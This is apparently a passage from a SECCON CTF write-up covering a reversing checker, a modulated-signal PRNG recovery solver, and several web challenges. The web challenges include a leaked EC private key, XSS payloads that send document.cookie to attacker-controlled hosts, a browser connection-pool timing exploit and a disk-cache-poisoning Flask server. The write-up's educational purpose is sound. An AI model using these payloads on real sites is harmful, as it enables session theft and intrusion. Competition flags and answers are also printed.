Jimbocho(candidate) ns = trimNSString(ns) prefix = Roppongi([0x53,0x45,0x43,0x43,0x4f,0x4e,0x7b,0x07]) // "SECCON{" suffix = Otemachi(0x7d) // "}" if len(ns) != 0x18: return false if not ns.hasPrefix(prefix): return false if not ns.hasSuffix(suffix): return false mid = ns.substring(prefix.length, len(ns) - prefix.length - suffix.length) payload = mid as text if Shimbashi(payload, 0x0d, 0x1abb, 0x1ac8, 4) != [0x72,0x83,0x7f,0x7d,0x78,0x82,0x74,0x85, 0x78,0x81,0x87,0x75,0x86,0x81,0x4b,0x44]: return false if Ginza(payload) != 0x5f: return false if Kanda(payload, [0x37,0xa9,0x5d], 0x9d, 0x1abb) != {U1F41D:0x7c3, U1F99C:64104, U1F11D:0x1523, U1F41C:0xdc99, U1F41B:0x4d16, len:0x10}: return false if Sugamo(payload, [0x37,0xa9,0x5d], 0x9d) != {U1F41D:62601, U1F99C:65475, U1F11D:65339, len:6}: return false return true ``` ``` Shimbashi(washingtondc, colorado, idaho, kansas, westchester) out = [] var5 = (kansas - idaho) % 0x100 // equals 0x0d in this puzzle for each char ch in washingtondc (1-based index i): // count collection length with 'cnte', compare, etc. boils down to: var11 = (var5 + (i-1)) % 0xb + 1 // cycling 1..11 out_i = ord(ch) + colorado + var11 append out_i to out return out ``` For this instance `colorado = 0x0d`, and the `(var5 + (i-1)) % 0xb + 1` produces the repeating offsets `[4,6,2]` per 3-cycle, hence `out[i] = ord(ch) + 13 + [4,6,2]`. ``` Ginza(t) sum = 0 for each char ch in t: sum += ord(ch) return sum % 0x100 ``` ``` Kanda(nsPayload, NewJersey=[a,b,c], U1F9E7, westchester) t = nsPayload as text lenT = len(t) nj = [a, b, c] rec = {U1F41D:0, U1F99C:0, U1F11D:westchester, U1F41C:0, U1F41B:westchester, len:lenT} for i, ch in enumerate(t, start=1): var11 = ord(ch) - 0x80 var12 = (i * U1F9E7 + nj[0]) mod 0x101 var13 = var11 * var12 + nj[1] var14 = nj[2] - i if var14 == 0: var14 = -1 var15 = trunc(var13 / var14) // integer division toward zero var16 = var12 or 1 var17 = var13 mod var16 // remainder consistent with trunc rec.U1F99C = (rec.U1F99C + var15 + var17) mod 65536 rec.U1F41D = rec.U1F41D + var13 rec.U1F11D = (rec.U1F11D + var15 + var17) mod 65536 rec.U1F41C = rec.U1F41C + (nj[0] - nj[2]) // cumulative sum of deltas nj[0] += var17 nj[1] -= var15 nj[2] = -nj[2] + (ord(ch) mod 5) var18 = (var15 + var17 + U1F9E7) mod 65536 rec.U1F41B = (rec.U1F41B + var18 * (i + 3)) mod 65536 // finally normalize all numeric fields mod 65536 ``` ``` Sugamo(nsPayload, NewJersey=[a,b,c], U1F9E7) t = nsPayload as text lenT = min(len(t), 6) nj = [a, b, c] rec = {U1F41D:0, U1F99C:0, U1F11D:0, len:lenT} for i, ch in enumerate(t[:lenT], start=1): var9 = (ord(ch) - 0x80) * nj[0] + nj[1] var10 = nj[2] - i if var10 == 0: var10 = -1 var11 = trunc(var9 / var10) var12 = nj[0] - (ord(ch) mod 9) if var12 == 0: var12 = 1 var13 = var9 mod var12 rec.U1F99C = (rec.U1F99C + var11 + var13) mod 65536 rec.U1F41D = (rec.U1F41D + var9) mod 65536 rec.U1F11D = (rec.U1F11D + var11 * var13) mod 65536 nj[0] += var13 nj[1] -= var11 nj[2] = -nj[2] + (ord(ch) mod 7) // normalize numeric fields mod 65536 ``` ### Flag ``` SECCON{applescriptfun<3} ``` ## gyokuto ### Challenge file - **Name:** `gyokuto` - **Type:** ELF 64-bit LSB PIE executable, x86-64, SYSV, dynamically linked - **Other:** stripped - **Artifact:** `output.bin` (captured/modulated data) The executable generates a binary file (`output.bin`) containing **392 symbols**, each symbol being **100,000 signed 16-bit samples** (total `78,400,000` bytes). ### TL;DR The program transmits **one plaintext bit per symbol** using: - **8-FSK** (tone index `a2` in `[0..7]`, i.e., 5–40 MHz in 5 MHz steps) - **BPSK** (phase bit `a3`: `0` or `π`) The tone index leaks **3 consecutive LSBs** of a xorshift128 PRNG. A 4th PRNG LSB is used to whiten the plaintext bit into the transmitted phase. We demodulate tone+phase per symbol, recover the xorshift128 initial state via **GF(2) linear algebra**, regenerate the missing whitening bits, and unmask the phase to recover the flag. ### Challenge analysis #### 1) The modulator: `sub_1B0D0` The relevant part (simplified from the decompiler output): ```c // a2 = tone index (0..7), a3 = phase selector (0 or pi) v20 = (a3 != 1) ? 0.0 : 3.141592653589793; for (i = 0; i < 100000; i++) { // amplitude envelope (ramps up for first 100 samples) if (i < 100) amp = i / 100.0; else amp = 1.0; // Fs = 100 MHz (note i / 100000000.0) // f = (a2+1) * 5 MHz x = amp * 0.125 * cos(v20 + ((a2*5e6 + 5e6) * 2*pi * (i / 1e8))); // plus small noise (sub_1B760), clamped to [-1, 1], scaled to int16 s16 = clamp(x + noise, -1, 1) * 32767.0; write_le16(output, s16); } ``` Key takeaways: - **One symbol = 100,000 samples** - **Sampling rate Fs = 100,000,000 Hz** - **Tone frequencies:** `(a2+1)*5 MHz`, so `5,10,15,...,40 MHz` - **Phase:** `0` if `a3==0`, `π` if `a3==1` (this is just sign flip) - Output is **int16 little-endian** This makes demodulation clean: tones land exactly on FFT bins because `Fs/N = 1 kHz`, and tones are integer kHz. #### 2) The PRNG: `sub_1AB00` (xorshift128) The decompiled update is the classic Marsaglia xorshift128: ```c t = s0 ^ (s0 << 11); s0 = s1; s1 = s2; s2 = s3; s3 = (s3 >> 19) ^ s3 ^ t ^ (t >> 8); ``` `sub_1AB00(state, 3)` runs this update **3 times**, and builds a 3-bit integer by shifting left and OR-ing `s3&1` each step: ```c acc = 0; repeat 3 times: update(); acc = (acc<<1) | (s3 & 1); return acc; ``` So the tone index `a2` leaks **3 consecutive LSBs** of the PRNG output stream. --- #### 3) How a plaintext bit is encoded The main loop effectively does (conceptually): ```text b0,b1,b2 = next 3 PRNG LSBs (leaked via a2) b3 = next PRNG LSB (NOT leaked) phase_bit = plaintext_bit XOR b3 (transmitted as 0 or π) ``` Per symbol we therefore observe: - `a2` → gives `b0,b1,b2` - `a3` → gives `plaintext_bit XOR b3` We need `b3` to recover plaintext, so we must reconstruct the PRNG state. ### Solution approach #### Step A — Demodulate each symbol For each 100,000-sample symbol: 1. Correlate against the 8 complex exponentials at `5..40 MHz`. 2. Pick the tone index `a2` with maximum magnitude. 3. Determine phase bit `a3` from the sign of the real part of the correlation: - real > 0 → phase 0 (bit 0) - real < 0 → phase π (bit 1) This yields arrays: - `tone_idx[392]` in `[0..7]` - `phase_bit[392]` in `{0,1}` #### Step B — Recover the xorshift128 initial state (GF(2) solve) xorshift128 is **linear over GF(2)**, so every output bit is a linear function of the 128 initial state bits. We observe 3 out of every 4 PRNG LSBs: - at PRNG steps `4*s + {0,1,2}` we know the bit from `tone_idx[s]` That gives `392*3 = 1176` linear equations in 128 unknowns. We build the linear system by: 1. Simulating the PRNG for each of the 128 basis initial states (single-bit states) 2. Recording the output LSB sequence 3. Constructing coefficient masks `coeff[t]` such that: ```text bit(t) = parity(coeff[t] AND initial_state_bits) ``` Then we solve using Gaussian elimination over GF(2). #### Step C — Decrypt plaintext bits With the recovered PRNG state: 1. Regenerate the full LSB stream `b[t]`. 2. For each symbol `s`, take `b3 = b[4*s+3]`. 3. Unmask: `plaintext_bit = phase_bit[s] XOR b3`. 4. Pack bits **MSB-first** into bytes. The recovered plaintext bytes are: - Raw (49 bytes): `]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}` - Dropping the leading sync/preamble byte (`]`) gives the flag: ```text SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM} ``` ### Decryption code (reference solver) Save as `solve_gyokuto.py`: ```python #!/usr/bin/env python3 import argparse import numpy as np FS = 100_000_000.0 # 100 MHz from decomp: n / 100000000.0 N = 100_000 # 100k samples per symbol (loop runs to 99999) TONES = np.array([(k+1)*5_000_000.0 for k in range(8)], dtype=np.float64) # 5..40 MHz step 5 MASK32 = 0xFFFFFFFF def xs128_step(s0: int, s1: int, s2: int, s3: int): """Marsaglia xorshift128 (32-bit lanes), matching the decompiled code.""" t = (s0 ^ ((s0 << 11) & MASK32)) & MASK32 s0, s1, s2 = s1, s2, s3 s3 = (s3 ^ (s3 >> 19) ^ t ^ (t >> 8)) & MASK32 return s0, s1, s2, s3 def build_coeffs(num_steps: int): """ Build coeff[t] as a 128-bit mask such that: output_bit(t) = parity(coeff[t] & initial_state_bits) where output_bit(t) is LSB(new_s3) after t-th update. """ coeff = [0] * num_steps for i in range(128): w = i // 32 b = i % 32 s = [0, 0, 0, 0] s[w] = 1 << b s0, s1, s2, s3 = s for t in range(num_steps): s0, s1, s2, s3 = xs128_step(s0, s1, s2, s3) if s3 & 1: coeff[t] |= (1 << i) return coeff def gf2_solve_lowpivot(equations, nvars: int): """ Solve A x = b over GF(2). Each equation is (mask, rhs_bit) with mask being nvars bits. Returns solution as an integer bitmask of length nvars. """ rows = [(mask | (rhs << nvars)) for (mask, rhs) in equations] pivot_row = [None] * nvars for row in rows: m = row & ((1 << nvars) - 1) while m: lsb = m & -m p = lsb.bit_length() - 1 if pivot_row[p] is None: pivot_row[p] = row break row ^= pivot_row[p] m = row & ((1 << nvars) - 1) else: if (row >> nvars) & 1: raise ValueError("Inconsistent system (no solution).") # Back-substitute from high to low (works because we pivot on lowest bit) sol = 0 for p in range(nvars - 1, -1, -1): row = pivot_row[p] if row is None: continue rhs = (row >> nvars) & 1 m = row & ((1 << nvars) - 1) m_wo = m & ~(1 << p) parity = (m_wo & sol).bit_count() & 1 val = rhs ^ parity if val: sol |= (1 << p) return sol def sol_to_state(sol: int): s0 = sol & MASK32 s1 = (sol >> 32) & MASK32 s2 = (sol >> 64) & MASK32 s3 = (sol >> 96) & MASK32 return s0, s1, s2, s3 def gen_bits(init_state, steps: int): s0, s1, s2, s3 = init_state out = [] for _ in range(steps): s0, s1, s2, s3 = xs128_step(s0, s1, s2, s3) out.append(s3 & 1) return out def demodulate_symbols(samples_i16: np.ndarray): """ Each symbol is N int16 samples. We detect tone index (0..7) via complex correlation against the 8 exact tones. Phase bit is 0 if correlation real-part > 0, else 1 (π shift). """ blocks = len(samples_i16) // N samples = samples_i16.reshape(blocks, N).astype(np.float32) n = np.arange(N, dtype=np.float32) E = np.empty((8, N), dtype=np.complex64) for k, f in enumerate(TONES): E[k] = np.exp(-1j * 2.0 * np.pi * (f / FS) * n).astype(np.complex64) tone_idx = np.empty(blocks, dtype=np.int16) phase_bit = np.empty(blocks, dtype=np.uint8) for b in range(blocks): c = E @ samples[b] idx = int(np.argmax(np.abs(c))) tone_idx[b] = idx phase_bit[b] = 1 if c[idx].real < 0 else 0 return tone_idx, phase_bit def bits_to_bytes_msb(bits): out = bytearray() for i in range(0, len(bits), 8): v = 0 for j in range(8): v = (v << 1) | (bits[i + j] & 1) out.append(v) return bytes(out) def main(): ap = argparse.ArgumentParser() ap.add_argument("input", help="output.bin from the challenge") ap.add_argument("--drop-prefix-byte", action="store_true", help="Drop the leading ']' byte (sync/preamble) to get a clean SECCON{...} flag") args = ap.parse_args() raw = np.fromfile(args.input, dtype="<i2") if raw.size % N != 0: raise SystemExit("Input length is not a multiple of 100000 samples.") tone_idx, phase_bit = demodulate_symbols(raw) blocks = len(tone_idx) steps = 4 * blocks # Observations: per symbol we leak 3 PRNG LSBs as the tone index: # idx = (b0<<2)|(b1<<1)|b2, corresponding to steps 4*sym + 0..2 coeff = build_coeffs(steps) eqs = [] for sym in range(blocks): idx = int(tone_idx[sym]) leaked = [(idx >> 2) & 1, (idx >> 1) & 1, idx & 1] for j in range(3): eqs.append((coeff[4 * sym + j], leaked[j])) sol = gf2_solve_lowpivot(eqs, 128) init_state = sol_to_state(sol) bseq = gen_bits(init_state, steps) # The transmitted phase bit is plaintext_bit XOR (next PRNG LSB) plain_bits = [int(phase_bit[sym]) ^ int(bseq[4 * sym + 3]) for sym in range(blocks)] pt = bits_to_bytes_msb(plain_bits) if args.drop_prefix_byte: pt = pt[1:] try: print(pt.decode("ascii")) except UnicodeDecodeError: print(pt) if __name__ == "__main__": main() ``` Usage: ```bash python3 solve_gyokuto.py output.bin --drop-prefix-byte ``` --- ### Flag ```text SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM} ``` # Web ## broken-challenge You can leak the private key ```shell= ❯ curl http://broken-challenge.seccon.games:1337/hint <!DOCTYPE html> <html data-theme="light"> <head> <title>Hint</title> </head> <body> <p>nope</p> <div style="opacity: 0;">-----BEGIN EC PRIVATE KEY----- MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49 AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5 wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw== -----END EC PRIVATE KEY-----</div> </body> </html> ``` Then sign cert with the private key and serve an HTTP exchange that runs as that origin (hack.the.planet.seccon) Similar to https://gist.github.com/betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02 ## dummyhole The content-type on the file upload is restricted to starting with `image/png` or `image/jpeg`. The content-type spec allows us to end our content type with `+json`, and the browser will do some magic nonsense to make it not get parsed as octet-stream or try rendering as an image. There is a small path traversal bug on the posts page, we can supply `../../images/<uuid>` as our postId to have it load a file we upload as the json metadata for the image (and thus we can control the iframe source). The url suffix in the json response gets appended to the `location.origin`, which in the case of the admin bot is `http://web`. I set up DNS for `web.lovense.toys` to point to a server I control, and provided `.lovense.toys/` as the `image_url`. This was running a FastAPI webserver that looked like this: ```py from fastapi import FastAPI from fastapi.responses import FileResponse import time import asyncio app = FastAPI() @app.get("/sleep") async def eepy(): print("/sleep hit") await asyncio.sleep(60) return {"meow": "mrrp"} @app.get("/") async def root(): return FileResponse("meow.html") @app.get("/redirect") async def redirect(): return FileResponse("mrrp.html") @app.get("/pool") async def pool(): return FileResponse("pool.html") ``` `meow.html` looked like this: ```html <!DOCTYPE html> <html> meowmeow <script> setTimeout( () => { window.open( "/pool" ) }, 0 ); </script> </html> ``` `mrrp.html` looked like this: ```html <!DOCTYPE html> <html> meowmeow <script> function topLevelPost( url, fields ) { const form = document.createElement( 'form' ); form.method = 'POST'; form.action = url; for ( const [ name, value ] of Object.entries( fields ) ) { const input = document.createElement( 'input' ); input.type = 'hidden'; input.name = name; input.value = value; form.appendChild( input ); } document.body.appendChild( form ); form.submit(); } let payload = { post_id: '1234', fallback_url: 'javascript:window.stop();fetch("http://000000.web.lovense.toys?meow=" + document.cookie)' } setTimeout( () => { topLevelPost( 'http://web/logout', payload ); }, 0 ) </script> </html> ``` `pool.html` looked like this: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <button id="fillpool" onclick="fillPool(MAX_SOCKET)">Fill the pool</button> <button id="add_conn" onclick="createConn()">Add 1 more connection</button> <button id="release_conn" onclick="releaseConn()"> Release 1 connection </button> <button id="release_All" onclick="releaseConn(window.count)"> Release All connection </button> <textarea id="log"> </textarea> <script> const MAX_SOCKET = 256 const MYSERVER = 'web.lovense.toys' window.socketControllers = [] window.count = 0; function log( string ) { document.querySelector( '#log' ).textContent += string } function createConn( prefix ) { try { let unique = window.count let controller = new AbortController(); fetch( `http://000${unique}.${MYSERVER}/sleep?lol=${Date.now()}`, { mode: 'no-cors', signal: controller.signal, priority: "high" } ).catch( ( e ) => { createConn() } ); window.socketControllers.push( controller ); window.count++; } catch { } } function fillPool( maxval ) { log( '\nFilling pool\n' ) for ( let i = 0; i < maxval; i++ ) { createConn() } log( '\nShould have finished\n' ) } function releaseConn( n = 1 ) { log( `Releasing ${n} connections\n` ) for ( let i = 0; i < n; i++ ) { window.socketControllers.shift().abort() window.count--; } } fillPool( MAX_SOCKET ) setTimeout( () => { new Promise( resolve => { window.open( "/redirect" ) } ) let j = 0 setTimeout( () => { releaseConn() createConn() setInterval( () => { createConn() }, 200 ); setTimeout( () => { releaseConn() createConn() setTimeout( () => { releaseConn( window.count ) }, 5 ); }, 7500 ); }, 500 ) }, 500 ); </script> </body> </html> ``` Basically what this did was: 1) Leave the iframe and open a new window we control entirely 2) Abuse the obvious XSS sink in the /logout endpoint 3) Saturate Chrome's TCP connection pool and slowly release connections such that the `/logout` page renders, but the initial redirect hangs for the needed 5 seconds It took a few tries (I think there were DNS issues on remote?) but eventually the timing worked, and I caught the flag back in my callback server logs ## framed-xss - old spanote exploit doesn't work anymore because chrome added 2byte at the beginning of the disk cache key and there is a key mismatch - _s for iframes and _cn for top level navigations - However it's checked if the initiator is [null](https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=760?q=is_cross_site_main_frame_navigation_prefix&ss=chromium) - A recent IcesFont daily challenge on ImaginaryCTF called Svart Board demonstrates a way to obtain a null initiator request ([relevant writeup](https://gist.github.com/icesfont/a38cf323817a75d61e0612662c6d0476)) - Since we now have the ability of nulling the initiator the _cn prefix won't be inserted, making us achieve xss without key mismatch ```python from flask import Flask, redirect, request, Response import urllib.parse app = Flask(__name__) CHALLENGE = "http://framed-xss.seccon.games:3000" WEBHOOK = "http://" XSS_PAYLOAD = f"<script>fetch('{WEBHOOK}?c='+document.cookie);alert()</script>" @app.after_request def add_headers(response): response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate" response.headers["Pragma"] = "no-cache" response.headers["Expires"] = "0" return response visits = {} @app.get("/") def index(): ip = request.remote_addr visits[ip] = visits.get(ip, 0) + 1 encoded_payload = urllib.parse.quote(XSS_PAYLOAD, safe='') if visits[ip] == 1: html = f'''<!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <h1>Processing...</h1> <script> const sleep = (ms) => new Promise(r => setTimeout(r, ms)); (async () => {{ // Step 1: Open popup to challenge page // This causes the challenge page to fetch /view?html=XSS with From-Fetch header // The response gets cached with key: _dk_localhost:3000 localhost:3000 /view?html=XSS const popup = window.open("{CHALLENGE}/?html={encoded_payload}", "cache_primer"); await sleep(1500); // Step 2: Navigate to blob: URL that does history.back() // This preserves the null initiator from page.goto() location = URL.createObjectURL(new Blob([` <!DOCTYPE html> <html> <head><title>Going back...</title></head> <body> <h1>Redirecting...</h1> <script> setTimeout(() => history.back(), 500); <\\/script> </body> </html> `], {{ type: "text/html" }})); }})(); </script> </body> </html>''' return Response(html, mimetype='text/html') else: # Second visit (from history.back with null initiator preserved): # Redirect to /view?html=XSS # This navigation has null initiator -> no cn_ prefix # Cache key matches the fetch's key -> CACHE HIT # Returns cached XSS instead of 400 error! visits[ip] = 0 return redirect(f"{CHALLENGE}/view?html={encoded_payload}") if __name__ == "__main__": print(f"Running on port 9001") app.run(host="0.0.0.0", port=9001, debug=True) ``` # Welcome ## welcome Well technically you need to writeup all challenges ![image](https://hackmd.io/_uploads/S1tbdl1XWe.png) `SECCON{14}`